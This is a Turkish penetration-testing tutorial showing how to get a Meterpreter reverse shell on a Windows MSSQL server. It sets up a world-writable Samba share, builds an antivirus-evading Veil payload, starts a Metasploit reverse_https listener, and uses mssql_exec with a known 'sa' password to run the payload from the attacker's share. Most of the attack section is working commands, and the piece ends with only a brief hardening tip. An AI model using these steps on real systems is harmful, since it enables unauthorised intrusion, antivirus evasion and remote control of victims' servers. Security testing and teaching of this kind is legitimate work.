Yazıda kullanılacak Kali bilgisayarın IP’si, SQL sunucusunun IP’si ise olarak ayarlanmıştır. Ayrıca SQL sunucuda güncel durumda olan ve kurumlarda da kullanılan bir antivirüs kuruludur.

Yazı 4 başlıktan oluşacaktır.

1) Saldırgan makinesinde kurban makinenin erişebileceği bir paylaşım açılacaktır.
2) Antivirüslere yakalanmayan ve Meterpreter bağlantısı sağlayacak bir uygulama hazırlanarak saldırgan makinesindeki paylaşıma kaydedilecektir.
3) MSF multi/handler modülü ile Meterpreter bağlantısı dinlenecektir.
4) MSF “mssql_exec” modülü kullanılarak kurban makinede saldırgan makine paylaşımındaki uygulama çalıştırılacak, Kali makinedeki listener ile bağlantı elde edilecektir. Böylece kurban bilgisayarına Meterpreter ile ters bir bağlantı sağlanmış olacaktır.


1) Kali Üzerinde Paylaşımın Açılması

Öncelikle paylasima açılacak ve zararlı uygulamanın konulacağı dizin (/root/veil-output/compiled/ dizini) önceden oluşturulmamışsa oluşturulmalı ve Everyone için tam yetki verilmelidir:

mkdir -p /root/veil-output/compiled/
chmod 777 /root/veil-output/compiled/

Daha sonra, /etc/samba/smb.conf dosyasına aşağıdaki ifadeler eklenir. Böylece ağ erişimi olan bir Windows makinede “\\\paylasim$” komutu çalıştırılınca, Kali makinenin “/root/veil-output/compiled/” dizinine erişim sağlanmış olacaktır.

comment = Sizma testleri icin hazirlanmistir.
path = /root/veil-output/compiled/
browseable = yes
guest ok = yes
read only = yes
public = yes
writable = yes

Gerekli konfigürasyon yapıldıktan sonra, Kali üzerindeki “samba” servisi başlatılır.

service samba start


2) Meterpreter Oluşturacak Zararlı Uygulamanın Hazırlanması

Kurbana ait Windows bilgisayar ile saldırgana ait Kali bilgisayar arasında meterpreter bağlantısını oluşturacak zararlı uygulama Antivirüsler tarafından tespit edilmeyecek şekilde ayarlanmaldır. Bu uygulamanın hazırlanması için Veil kullanılabilir. Bu uygulamanın Veil kullanılarak hazırlanması ile ilgili ayrıntılı bilgi için bakınız. Hazırlanan uygulama varsayılan olarak “/root/veil-output/compiled/” dizini altına atılmaktadır. Bu sebeple, oluşturulan dosyanın paylaşıma taşınmasına gerek yoktur.

Böylece /root/veil-output/compiled/ dizininde Zararli1.exe adli uygulama oluşmuştur.

Diğer antivirüs atlatma teknikleri için bakınız.

3) Kali Üzerinde Bağlantının Beklenmesi

İstismar işlemi sırasında çalışacak zararlı uygulama bir Meterpreter bağlantısı oluşturacaktır. Bu bağlantının Kali üzerinde elde edilebilmesi için bir listener bağlantısı aşağıdaki gibi kurulabilir:

use exploit/multi/handler
show options
set PAYLOAD windows/meterpreter/reverse_https
set LPORT 443
set ExitOnSession false
exploit -j

Böylelikle 443. porta gelen “reverse_https” bağlantısı yakalanabilecektir.

4) Paylaşımdaki Zararlı Uygulamanın Çalıştırılması ve Meterpreter Bağlantısının Elde Edilmesi

MSSQL uygulamasında sysadmin rolüne sahip olan bir hesaba ait kullanıcı hesap bilgileri bilindiğinde hedef bilgisayarda komut çalıştırma işlemi gerçekleştirilebilmektedir. Bu amaçla, MSF mssql_exec modülü kullanılacaktır. Bu modül ile ilgili ayrıntılı bilgi aşağıdaki gibidir:

search mssql_exec
use auxiliary/admin/mssql/mssql_exec
show options

MSSQL uygulamasında sysadmin rolüne sahip hesabın adı “sa”, parolası ise “s93v43jd5” olarak elde edildiği varsayılırsa, aşağıdaki seçenekle modül ayarlanabilir ve modül çalıştırılabilir:

set CMD start \\\\\\paylasim$\\Zararli1.exe
set PASSWORD s93v43jd5
show options

Modül çalıştırıldığında, Kali paylaşımındaki uygulama (\\\paylasim$\Zararli1.exe) çalıştırılacak ve daha önceden bekleyen multi/handler modülü tarafından yakalanacaktır:

Böylece Kali bilgisayarın diskinde bulunan zararlı yazılım, Windows makinenin diskine kaydedilmeden, Windows bilgisayarın belleğinde (RAM) çalışacaktır. Sonuçta da ters bir HTTPS bağlantı talebi olacak, Kali üzerindeki dinleyici tarafından yakalanmıştır. Ayrıca yukarıdaki ekran görüntüsünde de görüldüğü gibi MSSQLSERVER servisini çalıştıran hesabın yetkileri ile Meterpreter bağlantısı elde edilmiştir. Eğer MSSQLSERVER servisi SYSTEM yetkileri ile çalışmış olsaydı, SYSTEM yetkileri elde edilirdi. Bunun yanında “sa” hesabı yerine, işletim sisteminde kod çalıştırma yetkisi olan başka bir hesap da kullanılabilirdi. Bu sebeple, gereksiz kullanıcı hesaplarının ve yetkilerinin kaldırılması, mevcut parolaların oldukça karmaşık olması tavsiye edilmektedir.

Via Ertugrul Basaranoglu